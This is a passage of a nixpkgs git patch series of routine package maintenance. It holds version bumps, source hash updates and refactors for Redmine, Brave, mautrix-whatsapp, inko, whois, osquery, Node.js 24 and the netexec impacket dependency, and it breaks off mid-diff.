   containerdSha256 = "1c3hv22zx8y94zwmv5r59bnwgqyhxd10zkinm0jrcvny32ijqdfj";
   criCtlVersion = "1.31.0-k3s2";

From 84b7b04db248b4d11fe43629569a93952d0b48b3 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Fri, 23 May 2025 05:19:52 +0200
Subject: [PATCH 2562/4511] redmine: make use of finalAttrs

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit d0a438a3bdc2a2ab7129bb331516f6b8366ffbbc)
---
 pkgs/by-name/re/redmine/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/re/redmine/package.nix b/pkgs/by-name/re/redmine/package.nix
index e724ce286c9b..28de7e0ff8b9 100644
--- a/pkgs/by-name/re/redmine/package.nix
+++ b/pkgs/by-name/re/redmine/package.nix
@@ -25,12 +25,12 @@ let
     ];
   };
 in
-stdenv.mkDerivation rec {
+stdenv.mkDerivation (finalAttrs: {
   pname = "redmine";
   inherit version;
 
   src = fetchurl {
-    url = "https://www.redmine.org/releases/redmine-${version}.tar.gz";
+    url = "https://www.redmine.org/releases/redmine-${finalAttrs.version}.tar.gz";
     hash = "sha256-lNzFMRXgWBrEbmDD7ZMY8ZJs5GS6u7OF5SNiF9Hmpk4=";
   };
 
@@ -75,4 +75,4 @@ stdenv.mkDerivation rec {
     ];
     license = licenses.gpl2;
   };
-}
+})

From 5f7871a02dc18d42f3bf562b5b4cfec27d50b3d8 Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Fri, 11 Jul 2025 09:53:56 +0200
Subject: [PATCH 2563/4511] redmine: 6.0.5 -> 6.0.6

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit 56ab8ba1380dd35fa6e418e9a4bae2770da95c58)
---
 pkgs/by-name/re/redmine/Gemfile.lock |  54 +++++++------
 pkgs/by-name/re/redmine/gemset.nix   | 115 +++++++++++++++------------
 pkgs/by-name/re/redmine/package.nix  |   4 +-
 3 files changed, 96 insertions(+), 77 deletions(-)

diff --git a/pkgs/by-name/re/redmine/Gemfile.lock b/pkgs/by-name/re/redmine/Gemfile.lock
index dab693656576..d604ac49e4de 100644
--- a/pkgs/by-name/re/redmine/Gemfile.lock
+++ b/pkgs/by-name/re/redmine/Gemfile.lock
@@ -78,9 +78,9 @@ GEM
     addressable (2.8.7)
       public_suffix (>= 2.0.2, < 7.0)
     ast (2.4.3)
-    base64 (0.2.0)
-    benchmark (0.4.0)
-    bigdecimal (3.1.9)
+    base64 (0.3.0)
+    benchmark (0.4.1)
+    bigdecimal (3.2.2)
     builder (3.3.0)
     bundle-audit (0.1.0)
       bundler-audit
@@ -105,13 +105,14 @@ GEM
       addressable
     csv (3.2.9)
     date (3.4.1)
-    debug (1.10.0)
+    debug (1.11.0)
       irb (~> 1.10)
       reline (>= 0.3.8)
     deckar01-task_list (2.3.2)
       html-pipeline
     docile (1.4.1)
-    drb (2.2.1)
+    drb (2.2.3)
+    erb (5.0.1)
     erubi (1.13.1)
     ffi (1.17.2)
     globalid (1.2.1)
@@ -127,13 +128,13 @@ GEM
       pp (>= 0.6.0)
       rdoc (>= 4.0.0)
       reline (>= 0.4.2)
-    json (2.11.3)
-    language_server-protocol (3.17.0.4)
+    json (2.12.2)
+    language_server-protocol (3.17.0.5)
     listen (3.9.0)
       rb-fsevent (~> 0.10, >= 0.10.3)
       rb-inotify (~> 0.9, >= 0.9.10)
     logger (1.7.0)
-    loofah (2.24.0)
+    loofah (2.24.1)
       crass (~> 1.0.2)
       nokogiri (>= 1.12.0)
     mail (2.8.1)
@@ -142,15 +143,15 @@ GEM
       net-pop
       net-smtp
     marcel (1.0.4)
-    matrix (0.4.2)
+    matrix (0.4.3)
     mini_magick (5.0.1)
     mini_mime (1.1.5)
-    mini_portile2 (2.8.8)
+    mini_portile2 (2.8.9)
     minitest (5.25.5)
     mocha (2.7.1)
       ruby2_keywords (>= 0.0.5)
     mysql2 (0.5.6)
-    net-imap (0.4.21)
+    net-imap (0.4.22)
       date
       net-protocol
     net-ldap (0.17.1)
@@ -178,15 +179,15 @@ GEM
       activesupport (>= 7.0.0)
       rack
       railties (>= 7.0.0)
-    psych (5.2.3)
+    psych (5.2.6)
       date
       stringio
-    public_suffix (6.0.1)
+    public_suffix (6.0.2)
     puma (6.6.0)
       nio4r (~> 2.0)
     racc (1.8.1)
-    rack (3.1.13)
-    rack-session (2.1.0)
+    rack (3.1.16)
+    rack-session (2.1.1)
       base64 (>= 0.1.0)
       rack (>= 3.0.0)
     rack-test (2.2.0)
@@ -207,7 +208,7 @@ GEM
       activesupport (= 7.2.2.1)
       bundler (>= 1.15.0)
       railties (= 7.2.2.1)
-    rails-dom-testing (2.2.0)
+    rails-dom-testing (2.3.0)
       activesupport (>= 5.0.0)
       minitest
       nokogiri (>= 1.6)
@@ -223,15 +224,16 @@ GEM
       thor (~> 1.0, >= 1.2.2)
       zeitwerk (~> 2.6)
     rainbow (3.1.1)
-    rake (13.2.1)
+    rake (13.3.0)
     rb-fsevent (0.11.2)
     rb-inotify (0.11.1)
       ffi (~> 1.0)
-    rbpdf (1.21.3)
+    rbpdf (1.21.4)
       htmlentities
       rbpdf-font (~> 1.19.0)
     rbpdf-font (1.19.1)
-    rdoc (6.13.1)
+    rdoc (6.14.2)
+      erb
       psych (>= 4.0.0)
     regexp_parser (2.10.0)
     reline (0.6.1)
@@ -259,7 +261,7 @@ GEM
       rubocop-ast (>= 1.32.2, < 2.0)
       ruby-progressbar (~> 1.7)
       unicode-display_width (>= 2.4.0, < 3.0)
-    rubocop-ast (1.44.1)
+    rubocop-ast (1.45.1)
       parser (>= 3.3.7.2)
       prism (~> 1.4)
     rubocop-performance (1.22.1)
@@ -277,7 +279,7 @@ GEM
       crass (~> 1.0.2)
       nokogiri (>= 1.12.0)
     securerandom (0.4.1)
-    selenium-webdriver (4.31.0)
+    selenium-webdriver (4.34.0)
       base64 (~> 0.2)
       logger (~> 1.4)
       rexml (~> 3.2, >= 3.2.5)
@@ -306,17 +308,17 @@ GEM
     useragent (0.16.11)
     webrick (1.9.1)
     websocket (1.2.11)
-    websocket-driver (0.7.7)
+    websocket-driver (0.8.0)
       base64
       websocket-extensions (>= 0.1.0)
     websocket-extensions (0.1.5)
-    with_advisory_lock (5.1.0)
+    with_advisory_lock (5.3.0)
       activerecord (>= 6.1)
       zeitwerk (>= 2.6)
     xpath (3.2.0)
       nokogiri (~> 1.8)
     yard (0.9.37)
-    zeitwerk (2.7.2)
+    zeitwerk (2.7.3)
 
 PLATFORMS
   ruby
@@ -371,7 +373,7 @@ DEPENDENCIES
   yard
 
 RUBY VERSION
-   ruby 3.3.7p123
+   ruby 3.3.8p144
 
 BUNDLED WITH
-   2.5.22
+   2.6.6
diff --git a/pkgs/by-name/re/redmine/gemset.nix b/pkgs/by-name/re/redmine/gemset.nix
index 8ddeabf0eb83..e26cad8d1fd3 100644
--- a/pkgs/by-name/re/redmine/gemset.nix
+++ b/pkgs/by-name/re/redmine/gemset.nix
@@ -243,10 +243,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "01qml0yilb9basf7is2614skjp8384h2pycfx86cr8023arfj98g";
+      sha256 = "0yx9yn47a8lkfcjmigk79fykxvr80r4m1i35q82sxzynpbm7lcr7";
       type = "gem";
     };
-    version = "0.2.0";
+    version = "0.3.0";
   };
   benchmark = {
     groups = [
@@ -257,10 +257,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0jl71qcgamm96dzyqk695j24qszhcc7liw74qc83fpjljp2gh4hg";
+      sha256 = "1kicilpma5l0lwayqjb5577bm0hbjndj2gh150xz09xsgc1l1vyl";
       type = "gem";
     };
-    version = "0.4.0";
+    version = "0.4.1";
   };
   bigdecimal = {
     groups = [
@@ -271,10 +271,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1k6qzammv9r6b2cw3siasaik18i6wjc5m0gw5nfdc6jj64h79z1g";
+      sha256 = "1p2szbr4jdvmwaaj2kxlbv1rp0m6ycbgfyp0kjkkkswmniv5y21r";
       type = "gem";
     };
-    version = "3.1.9";
+    version = "3.2.2";
   };
   builder = {
     groups = [ "default" ];
@@ -436,10 +436,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1977s95s9ns6mpbhg68pg6ggnpxxf8wly4244ihrx5vm92kqrqhi";
+      sha256 = "1wmfy5n5v2rzpr5vz698sqfj1gl596bxrqw44sahq4x0rxjdn98l";
       type = "gem";
     };
-    version = "1.10.0";
+    version = "1.11.0";
   };
   deckar01-task_list = {
     dependencies = [ "html-pipeline" ];
@@ -474,10 +474,24 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0h5kbj9hvg5hb3c7l425zpds0vb42phvln2knab8nmazg2zp5m79";
+      sha256 = "0wrkl7yiix268s2md1h6wh91311w95ikd8fy8m5gx589npyxc00b";
       type = "gem";
     };
-    version = "2.2.1";
+    version = "2.2.3";
+  };
+  erb = {
+    groups = [
+      "default"
+      "development"
+      "test"
+    ];
+    platforms = [ ];
+    source = {
+      remotes = [ "https://rubygems.org" ];
+      sha256 = "08rc8pzri3g7c85c76x84j05hkk12jvalrm2m3n97k1n7f03j13n";
+      type = "gem";
+    };
+    version = "5.0.1";
   };
   erubi = {
     groups = [ "default" ];
@@ -613,10 +627,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1hfcz73wszgqprg2pr83qjbyfb0k93frbdvyhgmw0ryyl9cgc44s";
+      sha256 = "1x5b8ipv6g0z44wgc45039k04smsyf95h2m5m67mqq35sa5a955s";
       type = "gem";
     };
-    version = "2.11.3";
+    version = "2.12.2";
   };
   language_server-protocol = {
     groups = [
@@ -626,10 +640,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0scnz2fvdczdgadvjn0j9d49118aqm3hj66qh8sd2kv6g1j65164";
+      sha256 = "1k0311vah76kg5m6zr7wmkwyk5p2f9d9hyckjpn3xgr83ajkj7px";
       type = "gem";
     };
-    version = "3.17.0.4";
+    version = "3.17.0.5";
   };
   listen = {
     dependencies = [
@@ -668,10 +682,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "07pfa5kgl7k2hxlzzn89qna6bmiyrxlchgbzi0885frsi08agrk1";
+      sha256 = "0dx316q03x6rpdbl610rdaj2vfd5s8fanixk21j4gv3h5f230nk5";
       type = "gem";
     };
-    version = "2.24.0";
+    version = "2.24.1";
   };
   mail = {
     dependencies = [
@@ -707,10 +721,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1h2cgkpzkh3dd0flnnwfq6f3nl2b1zff9lvqz8xs853ssv5kq23i";
+      sha256 = "0nscas3a4mmrp1rc07cdjlbbpb2rydkindmbj3v3z5y1viyspmd0";
       type = "gem";
     };
-    version = "0.4.2";
+    version = "0.4.3";
   };
   mini_magick = {
     groups = [ "minimagick" ];
@@ -745,10 +759,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0x8asxl83msn815lwmb2d7q5p29p7drhjv5va0byhk60v9n16iwf";
+      sha256 = "12f2830x7pq3kj0v8nz0zjvaw02sv01bqs1zwdrc04704kwcgmqc";
       type = "gem";
     };
-    version = "2.8.8";
+    version = "2.8.9";
   };
   minitest = {
     groups = [
@@ -794,10 +808,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1iik22kpvah1n9hsw271lmgsbh6mkxg9iv7c0banm50548bwlxkg";
+      sha256 = "16ckbx0fmd47zh74kb2m01yl5ml10jv5whvlfmnfp385n18ai43n";
       type = "gem";
     };
-    version = "0.4.21";
+    version = "0.4.22";
   };
   net-ldap = {
     groups = [ "ldap" ];
@@ -985,10 +999,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1vjrx3yd596zzi42dcaq5xw7hil1921r769dlbz08iniaawlp9c4";
+      sha256 = "0vii1xc7x81hicdbp7dlllhmbw5w3jy20shj696n0vfbbnm2hhw1";
       type = "gem";
     };
-    version = "5.2.3";
+    version = "5.2.6";
   };
   public_suffix = {
     groups = [
@@ -998,10 +1012,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0vqcw3iwby3yc6avs1vb3gfd0vcp2v7q310665dvxfswmcf4xm31";
+      sha256 = "1543ap9w3ydhx39ljcd675cdz9cr948x9mp00ab8qvq6118wv9xz";
       type = "gem";
     };
-    version = "6.0.1";
+    version = "6.0.2";
   };
   puma = {
     dependencies = [ "nio4r" ];
@@ -1037,10 +1051,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "14jpch41i6iclbgc8rykvkyn7ii8s9dwvn98k96qi0hqcbdpj30p";
+      sha256 = "0da64fq3w671qhp7ji1zs84m5lyhalq4khqhbfw5dz0y6mn61dgg";
       type = "gem";
     };
-    version = "3.1.13";
+    version = "3.1.16";
   };
   rack-session = {
     dependencies = [
@@ -1051,10 +1065,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1452c1bhh6fdnv17s1z65ajwh08axqnlmkhnr1qyyn2vacb3jz23";
+      sha256 = "1sg4laz2qmllxh1c5sqlj9n1r7scdn08p3m4b0zmhjvyx9yw0v8b";
       type = "gem";
     };
-    version = "2.1.0";
+    version = "2.1.1";
   };
   rack-test = {
     dependencies = [ "rack" ];
@@ -1115,10 +1129,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0fx9dx1ag0s1lr6lfr34lbx5i1bvn3bhyf3w3mx6h7yz90p725g5";
+      sha256 = "07awj8bp7jib54d0khqw391ryw8nphvqgw4bb12cl4drlx9pkk4a";
       type = "gem";
     };
-    version = "2.2.0";
+    version = "2.3.0";
   };
   rails-html-sanitizer = {
     dependencies = [
@@ -1171,10 +1185,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "17850wcwkgi30p7yqh60960ypn7yibacjjha0av78zaxwvd3ijs6";
+      sha256 = "14s4jdcs1a4saam9qmzbsa2bsh85rj9zfxny5z315x3gg0nhkxcn";
       type = "gem";
     };
-    version = "13.2.1";
+    version = "13.3.0";
   };
   rb-fsevent = {
     groups = [
@@ -1212,10 +1226,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0rb6zqx79fzi0gqdq8xbhp87yp1ldfmzh0kng6fph84qhmzs990n";
+      sha256 = "1ig0gn6h9rfrdgz0xphjzxb7qjghpxiynphnz9hx0wacs01isa4g";
       type = "gem";
     };
-    version = "1.21.3";
+    version = "1.21.4";
   };
   rbpdf-font = {
     groups = [ "default" ];
@@ -1228,7 +1242,10 @@
     version = "1.19.1";
   };
   rdoc = {
-    dependencies = [ "psych" ];
+    dependencies = [
+      "erb"
+      "psych"
+    ];
     groups = [
       "default"
       "development"
@@ -1237,10 +1254,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1xvjskc5xp5x4lgrkxqrn7n4rjzgbbjl9yx3ny74xjckjk4xm832";
+      sha256 = "09lj8d16wx5byj0nbcb9wc6v9farsvgn98n91kknm18g2ggl9pcz";
       type = "gem";
     };
-    version = "6.13.1";
+    version = "6.14.2";
   };
   regexp_parser = {
     groups = [
@@ -1388,10 +1405,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "14lf3d9bdr8cv8x3xcn3ijql5x23svk5zy7mdinlzw1f7ch09k73";
+      sha256 = "0gis8w51k5dsmzzlppvwwznqyfd73fa3zcrpl1xihzy1mm4jw14l";
       type = "gem";
     };
-    version = "1.44.1";
+    version = "1.45.1";
   };
   rubocop-performance = {
     dependencies = [
@@ -1502,10 +1519,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1s80s7mgpwpfj4df2f43f5im37ks884xkbcxd9fxpk93xs7dicnx";
+      sha256 = "07i7ifp8vpgsn9y9smvndnbx1bkcl9mmxjnq8yrf4vz6rccbfyzc";
       type = "gem";
     };
-    version = "4.31.0";
+    version = "4.34.0";
   };
   simplecov = {
     dependencies = [
@@ -1696,10 +1713,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1d26l4qn55ivzahbc7fwc4k4z3j7wzym05i9n77i4mslrpr9jv85";
+      sha256 = "0qj9dmkmgahmadgh88kydb7cv15w13l1fj3kk9zz28iwji5vl3gd";
       type = "gem";
     };
-    version = "0.7.7";
+    version = "0.8.0";
   };
   websocket-extensions = {
     groups = [ "default" ];
@@ -1720,10 +1737,10 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "1mzy29advrdczf88j2ffvck4kf8sfhxn07sym9ciq9rv061cv4h6";
+      sha256 = "0kmr064q52cr1v9026fgkif74hncnzaz4rbp384fjgw56128dcdx";
       type = "gem";
     };
-    version = "5.1.0";
+    version = "5.3.0";
   };
   xpath = {
     dependencies = [ "nokogiri" ];
@@ -1754,9 +1771,9 @@
     platforms = [ ];
     source = {
       remotes = [ "https://rubygems.org" ];
-      sha256 = "0ws6rpyj0y9iadjg1890dwnnbjfdbzxsv6r48zbj7f8yn5y0cbl4";
+      sha256 = "119ypabas886gd0n9kiid3q41w76gz60s8qmiak6pljpkd56ps5j";
       type = "gem";
     };
-    version = "2.7.2";
+    version = "2.7.3";
   };
 }
diff --git a/pkgs/by-name/re/redmine/package.nix b/pkgs/by-name/re/redmine/package.nix
index 28de7e0ff8b9..0237a82f975e 100644
--- a/pkgs/by-name/re/redmine/package.nix
+++ b/pkgs/by-name/re/redmine/package.nix
@@ -9,7 +9,7 @@
 }:
 
 let
-  version = "6.0.5";
+  version = "6.0.6";
   rubyEnv = bundlerEnv {
     name = "redmine-env-${version}";
 
@@ -31,7 +31,7 @@ stdenv.mkDerivation (finalAttrs: {
 
   src = fetchurl {
     url = "https://www.redmine.org/releases/redmine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-lNzFMRXgWBrEbmDD7ZMY8ZJs5GS6u7OF5SNiF9Hmpk4=";
+    hash = "sha256-t6wtKIk4Brj0+9FIC3FL5UZhToMOICnUegvyajUrs/o=";
   };
 
   nativeBuildInputs = [ makeWrapper ];

From b496e6929fd7d441fb62cf8cb9fd0345b8d83b7c Mon Sep 17 00:00:00 2001
From: Felix Singer <felixsinger@posteo.net>
Date: Sat, 12 Jul 2025 01:47:58 +0200
Subject: [PATCH 2564/4511] redmine: Pin Ruby to version 3.3

Redmine only supports specific Ruby versions. So in order to not get any
surprises because the pointer of the Ruby package gets changed to
something unsupported, pin Redmine to the latest supported version (3.3).

Signed-off-by: Felix Singer <felixsinger@posteo.net>
(cherry picked from commit fa38be47000d7266f7187d040c29fc67ce03c02a)
---
 pkgs/by-name/re/redmine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/re/redmine/package.nix b/pkgs/by-name/re/redmine/package.nix
index 0237a82f975e..a2d683fc28ae 100644
--- a/pkgs/by-name/re/redmine/package.nix
+++ b/pkgs/by-name/re/redmine/package.nix
@@ -3,7 +3,7 @@
   stdenv,
   fetchurl,
   bundlerEnv,
-  ruby,
+  ruby_3_3,
   makeWrapper,
   nixosTests,
 }:
@@ -13,7 +13,7 @@ let
   rubyEnv = bundlerEnv {
     name = "redmine-env-${version}";
 
-    inherit ruby;
+    inherit ruby_3_3;
     gemdir = ./.;
     groups = [
       "development"

From 1d74ceeb401f6a36afd342f6e93a264cf5dd31ba Mon Sep 17 00:00:00 2001
From: Sean Buckley <sean.bck@gmail.com>
Date: Wed, 16 Jul 2025 12:56:31 -0400
Subject: [PATCH 2565/4511] brave: 1.80.120 -> 1.80.122

https://community.brave.com/t/release-channel-1-80-122/633257
(cherry picked from commit 7a45f3475be06743b023a1f608ce5438fdda838c)
---
 pkgs/by-name/br/brave/package.nix | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/pkgs/by-name/br/brave/package.nix b/pkgs/by-name/br/brave/package.nix
index 7f58686cac47..e60de5ac2d97 100644
--- a/pkgs/by-name/br/brave/package.nix
+++ b/pkgs/by-name/br/brave/package.nix
@@ -3,24 +3,24 @@
 
 let
   pname = "brave";
-  version = "1.80.120";
+  version = "1.80.122";
 
   allArchives = {
     aarch64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_arm64.deb";
-      hash = "sha256-BicdZFFU8MmBpkl6F0tf0aR0t4dfEI8QQS/gCBlye8w=";
+      hash = "sha256-UQmSZ3Xi96Q6/8Y09L5VaPVJHv7gUXcOyv5Ba35Z80s=";
     };
     x86_64-linux = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-browser_${version}_amd64.deb";
-      hash = "sha256-RgJK9Q60hTBcxaA2B0UuwJrDtw1zqXnm/IZKiu1XcZg=";
+      hash = "sha256-Q/m81hCZF8om3Tlxlj77GPiBElJVibJFA/ts7mtN6n8=";
     };
     aarch64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-arm64.zip";
-      hash = "sha256-gUuLnZU6JlvH7IQMhwSc947ybXls6GoCvVXo630qaxY=";
+      hash = "sha256-BezJ5ZXUBC2itSNUivnqygY8VzzIXM6wb3QSC+LE1uM=";
     };
     x86_64-darwin = {
       url = "https://github.com/brave/brave-browser/releases/download/v${version}/brave-v${version}-darwin-x64.zip";
-      hash = "sha256-1mQow2Bqit6uINEc2SysiXJfx9lNYyT2evb7aZB6Un4=";
+      hash = "sha256-NN7Anrjym50DRo0qI5bF/XzhssgPuKOhk1CJgMoOq70=";
     };
   };
 

From 8e8be2cfa0d1cf853bdc235fc5f4f59e750d18ce Mon Sep 17 00:00:00 2001
From: SchweGELBin <abramjannikmichael06@gmail.com>
Date: Wed, 16 Jul 2025 13:18:02 +0200
Subject: [PATCH 2566/4511] mautrix-whatsapp: 0.12.2 -> 0.12.3

(cherry picked from commit e4320227514b65e738ca12a2cfb1cc9a8c4b92a3)
---
 pkgs/by-name/ma/mautrix-whatsapp/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ma/mautrix-whatsapp/package.nix b/pkgs/by-name/ma/mautrix-whatsapp/package.nix
index ccf7bf9138d9..1a78edf5c13f 100644
--- a/pkgs/by-name/ma/mautrix-whatsapp/package.nix
+++ b/pkgs/by-name/ma/mautrix-whatsapp/package.nix
@@ -14,19 +14,19 @@
 
 buildGoModule rec {
   pname = "mautrix-whatsapp";
-  version = "0.12.2";
+  version = "0.12.3";
 
   src = fetchFromGitHub {
     owner = "mautrix";
     repo = "whatsapp";
     rev = "v${version}";
-    hash = "sha256-Es6RWUo/e25wYGIz6feVNXIQbMCDPl1iZoKT3x8vHtA=";
+    hash = "sha256-gbKphWFBT5+7kIptIS/GquFBPVaZzJolbEkZ6bj3Fiw=";
   };
 
   buildInputs = lib.optional (!withGoolm) olm;
   tags = lib.optional withGoolm "goolm";
 
-  vendorHash = "sha256-/R6MI6egGV1E1YzKcxBSOb2z97kA1HCK5GdMgfR1vSM=";
+  vendorHash = "sha256-LGHW1n36fdDtIPNENA2qqLcho+7FVna/zUPEYcxd9LQ=";
 
   doCheck = false;
 

From ff2372287feba0bc26535f09127a36f99e71ed10 Mon Sep 17 00:00:00 2001
From: Sizhe Zhao <prc.zhao@outlook.com>
Date: Mon, 7 Jul 2025 15:36:45 +0800
Subject: [PATCH 2567/4511] inko: use finalAttrs

(cherry picked from commit edfd40fecda8baffd86721da899a48ecf8a48f3a)
---
 pkgs/by-name/in/inko/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/in/inko/package.nix b/pkgs/by-name/in/inko/package.nix
index 9e6110919dd9..3f4ce544f627 100644
--- a/pkgs/by-name/in/inko/package.nix
+++ b/pkgs/by-name/in/inko/package.nix
@@ -13,14 +13,14 @@
   nix-update-script,
 }:
 
-rustPlatform.buildRustPackage rec {
+rustPlatform.buildRustPackage (finalAttrs: {
   pname = "inko";
   version = "0.18.1";
 
   src = fetchFromGitHub {
     owner = "inko-lang";
     repo = "inko";
-    tag = "v${version}";
+    tag = "v${finalAttrs.version}";
     hash = "sha256-jVfAfR02R2RaTtzFSBoLuq/wdPaaI/eochrZaRVdmHY=";
   };
 
@@ -72,4 +72,4 @@ rustPlatform.buildRustPackage rec {
     platforms = lib.platforms.unix;
     mainProgram = "inko";
   };
-}
+})

From 0709f61f0d5ce3a1349ab95bd55ea926feb101f1 Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Thu, 17 Jul 2025 21:11:05 +0100
Subject: [PATCH 2568/4511] whois: 5.6.2 -> 5.6.3

Changes: https://github.com/rfc1036/whois/compare/v5.6.2...v5.6.3
(cherry picked from commit 4dca27c0018735cb2f16f304395e905ce963bf8a)
---
 pkgs/by-name/wh/whois/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wh/whois/package.nix b/pkgs/by-name/wh/whois/package.nix
index e31d6f6cb3e0..d40fd71bc8fc 100644
--- a/pkgs/by-name/wh/whois/package.nix
+++ b/pkgs/by-name/wh/whois/package.nix
@@ -11,14 +11,14 @@
 }:
 
 stdenv.mkDerivation rec {
-  version = "5.6.2";
+  version = "5.6.3";
   pname = "whois";
 
   src = fetchFromGitHub {
     owner = "rfc1036";
     repo = "whois";
     rev = "v${version}";
-    hash = "sha256-SUpbPxEAFXNlncUgmbMt7ZjaX45hzffca8keBRpcXcM=";
+    hash = "sha256-YJAd6s1kq2IJcR7qf7ljntLb5HgsaTH0wsoPKIMxHdg=";
   };
 
   patches = [

From 9f3d5d1e60adf719aa0246368b3f18bd0ab56ea5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 18 Jul 2025 04:46:26 +0000
Subject: [PATCH 2569/4511] osquery: 5.17.0 -> 5.18.1

(cherry picked from commit 8777f023a31d21a639f2f47cc6462fb12a721c7e)
---
 pkgs/by-name/os/osquery/info.json | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/os/osquery/info.json b/pkgs/by-name/os/osquery/info.json
index dfc1eff28dc9..a525fd791a82 100644
--- a/pkgs/by-name/os/osquery/info.json
+++ b/pkgs/by-name/os/osquery/info.json
@@ -5,9 +5,9 @@
     },
     "osquery": {
         "fetchSubmodules": true,
-        "hash": "sha256-zv6R6MR9uaizwkDWw0sT3XSzT1qmPDAkL9crbzBTKTk=",
+        "hash": "sha256-oNH+mDTtg4m6wnE5XBWRQHWhBasy9ssSrxA/TPCd2pI=",
         "owner": "osquery",
         "repo": "osquery",
-        "rev": "5.17.0"
+        "rev": "5.18.1"
     }
 }

From b527e89270879aaaf584c41f26b2796be634bc9d Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 16 Jul 2025 00:17:52 +0200
Subject: [PATCH 2570/4511] nodejs_24: 24.4.0 -> 24.4.1

(cherry picked from commit d372ee5add1df609963e304e405aa517afbd3a77)
---
 pkgs/development/web/nodejs/v24.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/web/nodejs/v24.nix b/pkgs/development/web/nodejs/v24.nix
index c4bb1f022071..ddb9d040db8b 100644
--- a/pkgs/development/web/nodejs/v24.nix
+++ b/pkgs/development/web/nodejs/v24.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "24.4.0";
-  sha256 = "42fa8079da25a926013cd89b9d3467d09110e4fbb0c439342ebe4dd6ecc26bbb";
+  version = "24.4.1";
+  sha256 = "adb79ca0987486ed66136213da19ff17ef6724dcb340c320e010c9442101652f";
   patches =
     (
       if (stdenv.hostPlatform.emulatorAvailable buildPackages) then

From ac28d19b35a19b1575b082815660bf5446fe8c95 Mon Sep 17 00:00:00 2001
From: Vinicius Bernardino <viniciusbernardino1@hotmail.com>
Date: Thu, 17 Jul 2025 20:04:50 -0300
Subject: [PATCH 2571/4511] netexec: updating impacket rev

(cherry picked from commit bc82b506a07297821cdbfb622014a8e3821c1c23)
---
 pkgs/by-name/ne/netexec/package.nix | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ne/netexec/package.nix b/pkgs/by-name/ne/netexec/package.nix
index 0b7913cd8657..e3b5ad436a5f 100644
--- a/pkgs/by-name/ne/netexec/package.nix
+++ b/pkgs/by-name/ne/netexec/package.nix
@@ -9,12 +9,12 @@ let
     self = python;
     packageOverrides = self: super: {
       impacket = super.impacket.overridePythonAttrs {
-        version = "0.12.0.dev1-unstable-2023-11-30";
+        version = "0.12.0-unstable-2025-03-14";
         src = fetchFromGitHub {
-          owner = "Pennyw0rth";
+          owner = "fortra";
           repo = "impacket";
-          rev = "d370e6359a410063b2c9c68f6572c3b5fb178a38";
-          hash = "sha256-Jozn4lKAnLQ2I53+bx0mFY++OH5P4KyqVmrS5XJUY3E=";
+          rev = "8b4566b12fc79acb520d045dbae8f13446a9d4d7";
